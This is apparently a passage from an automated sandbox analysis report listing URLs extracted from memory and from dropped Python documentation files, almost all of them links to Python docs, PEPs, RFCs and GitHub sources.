Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42967
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=433028
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5319
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6135
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6422
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6766
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=8637
Source: 3.6.html.34.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9998
Source: _pydatetime.py.34.dr	String found in binary or memory: https://bugs.python.org/msg352381
Source: bugs.html.34.dr	String found in binary or memory: https://bugzilla.mozilla.org/page.cgi?id=bug-writing.html
Source: library.html.34.dr	String found in binary or memory: https://code.google.com/archive/p/python-safethread
Source: powershell.exe, 00000014.00000002.1741043824.0000022045CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000014.00000002.1741043824.0000022045CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000014.00000002.1741043824.0000022045CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: locale.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc1766.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2295.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2324.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2373.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2518.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2774.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3056.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3171.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3229.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3330.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3879.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3927.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc4007.html
Source: csv.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc4180.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc4193.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc4291.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc4380.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc4918.html
Source: email.parser.html.34.dr, email.compat32-message.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5322.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5735.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5789.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5842.html
Source: email.parser.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc6532.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc6585.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7231.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7232.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7233.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7235.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7238.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7540.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc7725.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc8297.html
Source: http.html.34.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc8470.html
Source: searchtools.js.34.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#escaping
Source: bugs.html.34.dr, general.html.34.dr	String found in binary or memory: https://devguide.python.org/
Source: bugs.html.34.dr	String found in binary or memory: https://devguide.python.org/docquality/#helping-with-documentation
Source: bugs.html.34.dr	String found in binary or memory: https://devguide.python.org/documentation/translating/
Source: bugs.html.34.dr	String found in binary or memory: https://devguide.python.org/tracker/
Source: bugs.html.34.dr	String found in binary or memory: https://discuss.python.org/c/documentation/26
Source: 3.6.html.34.dr	String found in binary or memory: https://docs.python.org/3.6/whatsnew/changelog.html
Source: itertools.html.34.dr, copyreg.html.34.dr, constants.html.34.dr, pickle.html.34.dr, contents.html.34.dr, library.html.34.dr, inputoutput.html.34.dr, ipaddress.html.34.dr, curses.panel.html.34.dr, termios.html.34.dr, py_compile.html.34.dr, zipimport.html.34.dr, xml.dom.pulldom.html.34.dr, bugs.html.34.dr, netrc.html.34.dr, winreg.html.34.dr, numbers.html.34.dr, inspect.html.34.dr, distribution.html.34.dr, index.html2.34.dr, dis.html.34.dr	String found in binary or memory: https://docs.python.org/3/_static/og-image.png
Source: about.html.34.dr	String found in binary or memory: https://docs.python.org/3/about.html
Source: bugs.html.34.dr	String found in binary or memory: https://docs.python.org/3/bugs.html
Source: bool.html.34.dr	String found in binary or memory: https://docs.python.org/3/c-api/bool.html
Source: bytes.html.34.dr	String found in binary or memory: https://docs.python.org/3/c-api/bytes.html
Source: conversion.html.34.dr	String found in binary or memory: https://docs.python.org/3/c-api/conversion.html
Source: module.html.34.dr	String found in binary or memory: https://docs.python.org/3/c-api/module.html
Source: typeobj.html.34.dr	String found in binary or memory: https://docs.python.org/3/c-api/typeobj.html
Source: contents.html.34.dr	String found in binary or memory: https://docs.python.org/3/contents.html
Source: library.html.34.dr	String found in binary or memory: https://docs.python.org/3/faq/library.html
Source: genindex-K.html.34.dr	String found in binary or memory: https://docs.python.org/3/genindex-K.html
Source: genindex.html.34.dr	String found in binary or memory: https://docs.python.org/3/genindex.html
Source: colorsys.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/colorsys.html
Source: constants.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/constants.html
Source: contextlib.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/contextlib.html
Source: copyreg.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/copyreg.html
Source: crypt.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/crypt.html
Source: csv.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/csv.html
Source: curses.panel.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/curses.panel.html
Source: dis.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/dis.html
Source: distribution.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/distribution.html
Source: email.mime.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/email.mime.html
Source: email.parser.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/email.parser.html
Source: gzip.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/gzip.html
Source: html.parser.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/html.parser.html
Source: http.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/http.html
Source: importlib.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/importlib.html
Source: index.html2.34.dr	String found in binary or memory: https://docs.python.org/3/library/index.html
Source: inspect.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/inspect.html
Source: ipaddress.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/ipaddress.html
Source: itertools.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/itertools.html
Source: locale.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/locale.html
Source: msvcrt.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/msvcrt.html
Source: netdata.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/netdata.html
Source: netrc.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/netrc.html
Source: numbers.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/numbers.html
Source: pickle.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/pickle.html
Source: py_compile.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/py_compile.html
Source: termios.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/termios.html
Source: winreg.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/winreg.html
Source: xml.dom.minidom.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/xml.dom.minidom.html
Source: xml.dom.pulldom.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/xml.dom.pulldom.html
Source: zipimport.html.34.dr	String found in binary or memory: https://docs.python.org/3/library/zipimport.html
Source: toplevel_components.html.34.dr	String found in binary or memory: https://docs.python.org/3/reference/toplevel_components.html
Source: search.html.34.dr	String found in binary or memory: https://docs.python.org/3/search.html
Source: inputoutput.html.34.dr	String found in binary or memory: https://docs.python.org/3/tutorial/inputoutput.html
Source: stdlib2.html.34.dr	String found in binary or memory: https://docs.python.org/3/tutorial/stdlib2.html
Source: 2.0.html.34.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/2.0.html
Source: 3.6.html.34.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/3.6.html
Source: about.html.34.dr	String found in binary or memory: https://docutils.sourceforge.io/
Source: about.html.34.dr	String found in binary or memory: https://docutils.sourceforge.io/rst.html
Source: library.html.34.dr	String found in binary or memory: https://epydoc.sourceforge.net/
Source: svchost.exe, 00000019.00000003.1202820487.00000278DE981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000019.00000003.1202820487.00000278DE910000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/MagicStack/uvloop
Source: powershell.exe, 00000014.00000002.1700526371.0000022035D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/google/pytype
Source: about.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/about.rst
Source: bugs.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/bugs.rst
Source: bool.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/bool.rst
Source: bytes.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/bytes.rst
Source: conversion.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/conversion.rst
Source: module.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/module.rst
Source: typeobj.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/c-api/typeobj.rst
Source: contents.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/contents.rst
Source: library.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/faq/library.rst
Source: colorsys.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/colorsys.rst
Source: constants.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/constants.rst
Source: contextlib.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/contextlib.rst
Source: copyreg.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/copyreg.rst
Source: crypt.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/crypt.rst
Source: csv.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/csv.rst
Source: curses.panel.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/curses.panel.rst
Source: dis.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/dis.rst
Source: distribution.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/distribution.rst
Source: email.mime.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.mime.rst
Source: email.parser.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/email.parser.rst
Source: gzip.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/gzip.rst
Source: html.parser.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/html.parser.rst
Source: http.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/http.rst
Source: importlib.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/importlib.rst
Source: index.html2.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/index.rst
Source: inspect.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/inspect.rst
Source: ipaddress.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/ipaddress.rst
Source: itertools.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/itertools.rst
Source: locale.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/locale.rst
Source: msvcrt.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/msvcrt.rst
Source: netdata.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/netdata.rst
Source: netrc.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/netrc.rst
Source: numbers.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/numbers.rst
Source: pickle.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/pickle.rst
Source: py_compile.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/py_compile.rst
Source: termios.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/termios.rst
Source: winreg.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/winreg.rst
Source: xml.dom.minidom.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/xml.dom.minidom.rst
Source: xml.dom.pulldom.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/xml.dom.pulldom.rst
Source: zipimport.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/zipimport.rst
Source: toplevel_components.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/reference/toplevel_components.rst
Source: inputoutput.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/inputoutput.rst
Source: stdlib2.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/tutorial/stdlib2.rst
Source: 2.0.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/2.0.rst
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.6.rst
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/cpython/blob/v3.6.15/Tools/scripts/h2py.py
Source: bugs.html.34.dr, general.html.34.dr	String found in binary or memory: https://github.com/python/cpython/issues
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/cpython/issues/61441
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/cpython/issues/78851
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/cpython/issues/87451
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/cpython/issues/88048
Source: bugs.html.34.dr	String found in binary or memory: https://github.com/python/cpython/issues?q=is%3Aissue
Source: colorsys.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/colorsys.py
Source: contextlib.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/contextlib.py
Source: copyreg.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/copyreg.py
Source: crypt.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/crypt.py
Source: csv.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/csv.py
Source: dis.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/dis.py
Source: email.mime.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/mime/
Source: email.parser.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/email/parser.py
Source: gzip.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/gzip.py
Source: html.parser.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/html/parser.py
Source: http.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/http/__init__.py
Source: importlib.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/importlib/__init__.py
Source: importlib.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/importlib/abc.py
Source: importlib.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/importlib/machinery.py
Source: importlib.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/importlib/util.py
Source: inspect.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/inspect.py
Source: ipaddress.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/ipaddress.py
Source: locale.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/locale.py
Source: netrc.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/netrc.py
Source: numbers.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/numbers.py
Source: pickle.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/pickle.py
Source: py_compile.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/py_compile.py
Source: xml.dom.minidom.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/xml/dom/minidom.py
Source: xml.dom.pulldom.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/xml/dom/pulldom.py
Source: zipimport.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Lib/zipimport.py
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Makefile.pre.in
Source: about.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Misc/ACKS
Source: library.html.34.dr	String found in binary or memory: https://github.com/python/cpython/tree/3.12/Modules
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/typing/issues/189
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/typing/issues/230
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/typing/pull/195
Source: 3.6.html.34.dr	String found in binary or memory: https://github.com/python/typing/pull/280
Source: library.html.34.dr	String found in binary or memory: https://groups.google.com/groups?selm=34A04430.CF9@ohioee.com
Source: pickle.html.34.dr, inputoutput.html.34.dr, json.html.34.dr	String found in binary or memory: https://json.org
Source: bugs.html.34.dr	String found in binary or memory: https://mail.python.org/mailman3/lists/core-mentorship.python.org/
Source: 3.6.html.34.dr	String found in binary or memory: https://mail.python.org/pipermail/python-dev/2012-December/123028.html
Source: crypt.html.34.dr	String found in binary or memory: https://manpages.debian.org/crypt(3)
Source: conversion.html.34.dr	String found in binary or memory: https://manpages.debian.org/snprintf(3)
Source: conversion.html.34.dr	String found in binary or memory: https://manpages.debian.org/strtol(3)
Source: conversion.html.34.dr	String found in binary or memory: https://manpages.debian.org/strtoul(3)
Source: termios.html.34.dr	String found in binary or memory: https://manpages.debian.org/termios(3)
Source: conversion.html.34.dr	String found in binary or memory: https://manpages.debian.org/vsnprintf(3)
Source: itertools.html.34.dr	String found in binary or memory: https://mathworld.wolfram.com/TotientFunction.html
Source: itertools.html.34.dr	String found in binary or memory: https://more-itertools.readthedocs.io/en/stable/api.html#more_itertools.before_and_after
Source: 3.6.html.34.dr	String found in binary or memory: https://morepypy.blogspot.com/2015/01/faster-more-memory-efficient-and-more.html
Source: powershell.exe, 00000014.00000002.1741043824.0000022045BAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1741043824.0000022045CF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 2.0.html.34.dr, general.html.34.dr	String found in binary or memory: https://peps.python.org/
Source: 2.0.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0001/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0007/
Source: 2.0.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0100/
Source: 2.0.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0201/
Source: importlib.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0235/
Source: importlib.html.34.dr, tokenize.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0263/
Source: zipimport.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0273/
Source: importlib.html.34.dr, functions.html.34.dr, import.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0302/
Source: csv.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0305/
Source: pickle.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0307/
Source: importlib.html.34.dr, functions.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0328/
Source: contextlib.html.34.dr, datamodel.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0343/
Source: inspect.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0362/
Source: importlib.html.34.dr, import.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0366/
Source: importlib.html.34.dr, import.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0420/
Source: module.html.34.dr, importlib.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0451/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0468/
Source: 3.6.html.34.dr, datamodel.html.34.dr, 3.11.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0484/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0487/
Source: importlib.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0488/
Source: importlib.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0489/
Source: 3.6.html.34.dr, datamodel.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0492/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0494/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0495/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0498/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0506/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0511/
Source: 3.6.html.34.dr, 3.11.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0515/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0519/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0520/
Source: 3.6.html.34.dr, 3.11.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0523/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0524/
Source: inspect.html.34.dr, 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0525/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0526/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0528/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0529/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0530/
Source: locale.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0538/
Source: locale.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0540/
Source: py_compile.html.34.dr, importlib.html.34.dr, 3.11.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0552/
Source: pickle.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0574/
Source: crypt.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0594/#crypt
Source: dis.html.34.dr, datamodel.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0626/
Source: 3.6.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0628/
Source: typeobj.html.34.dr, datamodel.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0634/
Source: bool.html.34.dr	String found in binary or memory: https://peps.python.org/pep-0683/
Source: importlib.html.34.dr	String found in binary or memory: https://peps.python.org/pep-3120/
Source: module.html.34.dr	String found in binary or memory: https://peps.python.org/pep-3121/
Source: numbers.html.34.dr	String found in binary or memory: https://peps.python.org/pep-3141/
Source: importlib.html.34.dr, compileall.html.34.dr, import.html.34.dr	String found in binary or memory: https://peps.python.org/pep-3147/
Source: pickle.html.34.dr	String found in binary or memory: https://peps.python.org/pep-3154/
Source: zipimport.html.34.dr	String found in binary or memory: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT
Source: colorsys.html.34.dr	String found in binary or memory: https://poynton.ca/ColorFAQ.html
Source: library.html.34.dr, distribution.html.34.dr, index.html2.34.dr, general.html.34.dr	String found in binary or memory: https://pypi.org
Source: itertools.html.34.dr	String found in binary or memory: https://pypi.org/project/more-itertools/
Source: crypt.html.34.dr	String found in binary or memory: https://pypi.org/project/passlib/
Source: library.html.34.dr	String found in binary or memory: https://pypi.org/project/pyserial/
Source: 2.0.html.34.dr	String found in binary or memory: https://pythonce.sourceforge.net/
Source: 2.0.html.34.dr	String found in binary or memory: https://pyxml.sourceforge.net/topics/howto/xml-howto.html
Source: 2.0.html.34.dr	String found in binary or memory: https://sourceforge.net/projects/python/
Source: library.html.34.dr	String found in binary or memory: https://twisted.org/
Source: 3.6.html.34.dr	String found in binary or memory: https://unicode.org/versions/Unicode9.0.0/
Source: library.html.34.dr	String found in binary or memory: https://web.archive.org/web/20210224183619/http://phaseit.net/claird/comp.lang.python/web_python
Source: library.html.34.dr	String found in binary or memory: https://wiki.python.org/moin/DatabaseProgramming
Source: library.html.34.dr	String found in binary or memory: https://wiki.python.org/moin/WebProgramming
Source: colorsys.html.34.dr	String found in binary or memory: https://www.cambridgeincolour.com/tutorials/color-spaces.htm
Source: bugs.html.34.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/bugs.html
Source: itertools.html.34.dr	String found in binary or memory: https://www.cs.kent.ac.uk/people/staff/dat/miranda/whyfp90.pdf
Source: html.parser.html.34.dr, license.html.34.dr	String found in binary or memory: https://www.cwi.nl/
Source: html.parser.html.34.dr	String found in binary or memory: https://www.cwi.nl/">
Source: library.html.34.dr	String found in binary or memory: https://www.google.com
Source: 2.0.html.34.dr	String found in binary or memory: https://www.haskell.org
Source: xml.dom.minidom.html.34.dr	String found in binary or memory: https://www.iana.org/assignments/character-sets/character-sets.xhtml
Source: http.html.34.dr	String found in binary or memory: https://www.iana.org/assignments/http-methods/http-methods.xhtml
Source: http.html.34.dr	String found in binary or memory: https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
Source: ipaddress.html.34.dr	String found in binary or memory: https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml
Source: ipaddress.html.34.dr	String found in binary or memory: https://www.iana.org/assignments/iana-ipv6-special-registry/iana-ipv6-special-registry.xhtml
Source: 3.6.html.34.dr	String found in binary or memory: https://www.mypy-lang.org/
Source: contextlib.html.34.dr	String found in binary or memory: https://www.python.org'
Source: typeobj.html.34.dr, complex.html.34.dr, email.compat32-message.html.34.dr, objbuffer.html.34.dr, concurrent.html.34.dr, abstract.html.34.dr, getopt.html.34.dr, fnmatch.html.34.dr, xdrlib.html.34.dr, plistlib.html.34.dr, custominterp.html.34.dr, veryhigh.html.34.dr, json.html.34.dr, tracemalloc.html.34.dr, tk.html.34.dr, genindex-G.html.34.dr, sys.html.34.dr, curses.ascii.html.34.dr, datetime.html.34.dr, license.html.34.dr, frameworks.html.34.dr	String found in binary or memory: https://www.python.org/
Source: 2.0.html.34.dr	String found in binary or memory: https://www.python.org/community/sigs/current/xml-sig
Source: importlib.html.34.dr	String found in binary or memory: https://www.python.org/doc/essays/packages/
Source: itertools.html.34.dr, copyreg.html.34.dr, constants.html.34.dr, genindex-K.html.34.dr, genindex.html.34.dr, pickle.html.34.dr, contents.html.34.dr, library.html.34.dr, inputoutput.html.34.dr, ipaddress.html.34.dr, curses.panel.html.34.dr, termios.html.34.dr, py_compile.html.34.dr, zipimport.html.34.dr, xml.dom.pulldom.html.34.dr, bugs.html.34.dr, netrc.html.34.dr, winreg.html.34.dr, numbers.html.34.dr, inspect.html.34.dr, distribution.html.34.dr	String found in binary or memory: https://www.python.org/psf/donations/
Source: library.html.34.dr	String found in binary or memory: https://www.sphinx-doc.org
